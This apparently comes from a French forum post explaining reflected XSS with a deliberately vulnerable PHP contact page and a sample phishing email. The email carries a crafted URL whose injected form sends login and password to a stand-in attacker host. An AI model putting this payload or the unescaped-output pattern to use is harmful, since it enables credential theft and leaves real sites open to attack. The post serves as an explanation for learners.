alors… je crois que le principe d’un XSS c’est de proposer à un utilisateur une URL trafiquée qui injecte du code dans le site. Pour que le XSS fonctionne il faut donc qu’il y ait un affichage de variable non sécurisé sur une page, et que l’utilisateur clique sur le lien malicieux conçu pour exploiter cet affichage, et ainsi arrive sur la page qui va afficher le code modifié par l’URL.
Par exemple, disons que j’ai un site appelé SuperSecure, dans lequel j’ai un formulaire de contact, qui une fois saisi renvoie sur cette super page contact_envoi.php dont voici en exclusivité le code source :
<html>
<body>
<h1>SuperSecure(tm), le site en qui vous pouvez avoir confiance</h1>
<p>Merci pour votre contact, <?php echo $_GET["nom"]; ?></p>
<p>Un agent va bientôt vous recontacter.</p>
On voit que $_GET[« nom »] n’est pas sécurisé : il va juste afficher le contenu de la variable nom. Et si nom contient du HTML, il va afficher du HTML.
Pour mon XSS je vais envoyer un mail à ma victime, disons l’administrateur de SuperSecure, qui ressemblerait à ceci :
Un nouveau contact nécessite votre attention sur SuperSecure, cliquez donc sur ce lien:
https://sitesupersecure.test/contact_envoi.php?nom=<div style="width: 100%; height: 100%; position: fixed; top: 0; left: 0; z-index:1000;"><h1>Connexion</h1><form action="https://vilainpirate.test/steal_password.php" method="POST">Votre login :<input type="text" name="identifiant">Votre mot de passe :<input type="password" name="password"><button type="submit" name="Login"></form></div>
Lorsque la victime clique sur ce lien, elle verra un formulaire de connexion tout à fait légitime qui s’est calé par dessus la page normale grâce à la magie des CSS (bon je grossis un peu le trait…) et qui va envoyer son identifiant et son mot de passe, si elle les saisit, au serveur de vilainpirate.
Et je suppose qu’à la place de HTML on pourrait aussi mettre du javascript qui va récupérer le cookie de session et faire plein de choses de façon dynamique.
Mais le niveau de la vulnérabilité n’est pas très élevé, parce qu’il nécessite quand même que l’utilisateur se fasse « hameçonner » (par exemple via un email) pour que ça marche. Pour ça, il faut que le pirate ait déjà des informations personnelles relatives à la personne ciblée (son email, par exemple, ou bien son numéro de téléphone pour envoyer un SMS piégé). Et que la victime ne s’aperçoive pas que l’URL est bizarre.
Le fait de demander le mot de passe du webmestre n’est dans ce contexte pas une garantie supplémentaire, parce que rien n’empêche l’auteur du XSS d’injecter un « faux » formulaire de login qui lui permettra d’exfiltrer le nom d’utilisateur et le mot de passe, comme dans l’exemple ci-dessus.
Moralité : il ne faut jamais cliquer sur des liens sur internet 
